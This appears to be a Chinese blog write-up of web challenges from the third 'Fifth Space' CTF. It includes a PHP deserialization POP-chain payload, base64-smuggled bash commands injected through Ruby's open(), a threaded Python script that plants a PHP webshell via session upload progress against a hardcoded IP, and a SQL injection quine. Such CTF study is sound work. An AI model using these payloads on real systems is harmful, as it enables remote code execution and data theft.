第三届第五空间网络安全大赛 Web复现

第三届第五空间网络安全大赛的Web题目复现

pklovecloud

是个pop链,需要注意的地方是acp类型中的成员cinder是protected属性的,序列化之后会增加三个字符%00*%00(url编码之后)

 <?php  
include 'flag.php';
class pkshow 
{
    
      
    function echo_name()     
    {
    
              
        return "Pk very safe^.^";      
    }  
} 

class acp 
{
    
       
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {
    
          
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {
    
              
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{
    
        
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {
    
       
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
    
    
        $file = "./{
      
      $this->filename}";
            if (file_get_contents($file))         
            {
    
                  
                return file_get_contents($file); 
            }  
            else 
            {
    
     
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    
    
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{
    
     
    highlight_file(__file__); 
}
?>

分析一下
echo $logData调用了acp类的__toString()函数,然后调用ace类的echo_name()函数,同时成员openctack需要是一个acp类对象,因为acp类对象要定义两个,同时protected属性的成员定义变量有点麻烦,所以可以加一个成员属性共有,名称不同的类acq,最后改一下名称即可

<?php  
include 'flag.php';
class pkshow 
{
    
      
    function echo_name()     
    {
    
              
        return "Pk very safe^.^";      
    }  
} 

class acp 
{
    
       
    protected $cinder;  //这玩意是个神奇的东西
    public $neutron;
    public $nova;
    function __construct() 
    {
    
          
        $this->cinder = new pkshow;
        $this->cinder = $b;
    }  
    function __toString()      //首先是这个东西,输出对象直接调用,反序列化不会执行construct函数
    {
    
              
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
class acq
{
    
       
    public $cinder;  //公用的东西
    public $neutron;
    public $nova;
    function __construct() 
    {
    
          
        $this->cinder = new pkshow;
    }  
    function __toString()      //首先是这个东西,输出对象直接调用,反序列化不会执行construct函数
    {
    
              
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{
    
        
    public $filename;     
    public $openstack;
    public $docker;
    function echo_name()      
    {
    
       
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)//地址相同
        {
    
    
        $file = "./{
      
      $this->filename}";
            if (file_get_contents($file))         
            {
    
                  
                return file_get_contents($file); //利用点
            }  
            else 
            {
    
     
                return "keystone lost~"; 
            }    
        }
    }  
} 


$a = new acp();
$a->nova = &$a->neutron;
$b = new ace();
$b->docker = serialize($a);
$b->filename = "flag.php";

$c = new acq();
$c->cinder = $b;
echo serialize($c);

记着把得到的结果将acq改为ace,同时protected属性的成员要加上%00*%00
payload:

O:3:"acp":3:{
    
    s:9:"%00*%00cinder";O:3:"ace":3:{
    
    s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:63:"O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";N;s:4:"nova";R:3;}";}s:7:"neutron";N;s:4:"nova";N;}

在这里插入图片描述

PNG图片转换器

本题有附件app.rb,分析一下,两个功能,一个是upload上传,一个是convert转换

#app.rb
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'#对上传的文件进行md5名称加密处理
    open(filename, 'wb') {
    
     |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

Ruby的open函数存在漏洞:A Dive into Ruby CVE-2017-17405: Identifying a Vulnerability in Ruby’s FTP Implementation

在这里插入图片描述

burpsuite抓包

在这里插入图片描述

file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png

其中bHMgLw==ls /的base64编码,后面的.png是为了符合题目的后缀要求
得到根目录

RkxBOV9WaXhOeHRTUkZmZDhJb0Zsbk52dgphcHAKYmluCmJvb3QKZGV2CmV0Ywpob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzcnYKc3lzCnRtcAp1c3IKdmFyCg==
解码后
FLA9_VixNxtSRFfd8IoFlnNvv
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

然后cat /FLA9_VixNxtSRFfd8IoFlnNvv进行base64编码,并且传入

file=|bash -c "$(echo 'Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2' | base64 -d)" #.png

在这里插入图片描述

解码得到flag

EasyCleanup

 <?php

if(!isset($_GET['mode'])){
    
    
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    
    
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    
    
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    
    
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
    
    
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    
    
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
    
    
        for($j = 0; $j < strlen($var); $j++){
    
    
            if($var[$j] == $alphanum[$i]){
    
    
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}

?> 

GET传参?mode=eval,查看phpinfo(),注意到session.upload_progress.cleanup=off
在这里插入图片描述
这个东西可以直接使用session_upload的脚本直接打

#coding=utf-8
import io
import requests
import threading
sessid = 'sk1y'
data = {
    
    "cmd":"system('cat /flag_is_here_not_are_but_you_find');"}
#/flag_is_here_not_are_but_you_find
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://114.115.134.72:32770', data={
    
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={
    
    'file': ('tgao.txt',f)}, cookies={
    
    'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://114.115.134.72:32770/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

在这里插入图片描述
有效,修改cmd命令,cat /flag_is_here_not_are_but_you_find即可

在这里插入图片描述
因为本题中session.upload_progress.cleanup=off,所以不会清空,木马上传之后,可以直接利用木马执行命令
在这里插入图片描述

yet_another_mysql_injection

f12中存在提示,访问/?sorce
可以得到源码

 <?php
include_once("lib.php");
function alertMes($mes,$url){
    
    
    die("<script>alert('{
      
      $mes}');location.href='{
      
      $url}';</script>");
}

function checkSql($s) {
    
    
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
    
    
        alertMes('hacker', 'index.php');//过滤关键词,跳转到index.php
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    
    
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
    
    
        alertMes('only admin can login', 'index.php');//username===admin
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
    
    
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    
    //这个是关键
    die($FLAG);
    } else {
    
    
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
    
    
  show_source(__FILE__);
  die;
}
?>


<!-- source code here:  /?source -->

需要注意的地方是

if ($row['password'] === $password) {
    
    
    die($FLAG);
    } else {
    
    
    alertMes("wrong password",'index.php');

需要让我们传入的password和执行查询语句之后得到的$row[‘password’]相同,才可以得到flag
推荐文章:SQLi Quine

文章中有一个现有的sql语句

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

我们对其进行修改:in,$,空格,都被过滤了,所以将
空格替换为/**/,
$替换为^,相应的36修改为94,
Quine中含有in,所以替换为Sk1y
这个语句需要用到联合查询union,所以在SELECT前加上“UNION/**/

'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/Sk1y#',CHAR(34),CHAR(39)),CHAR(94),'"UNION/**/SELECT/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/Sk1y#')AS/**/Sk1y#

在这里插入图片描述

WebFTP

在这里插入图片描述

是个webftp,然后可以在github上下载到源码,链接:https://codeload.github.com/wifeat/WebFTP/zip/refs/heads/master

在WebFTP-master\Readme目录下,有mytz.php,GET传参act=phpinfo,可以发现flag
在这里插入图片描述

自身还需修炼,继续努力(ง •_•)ง

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/120371263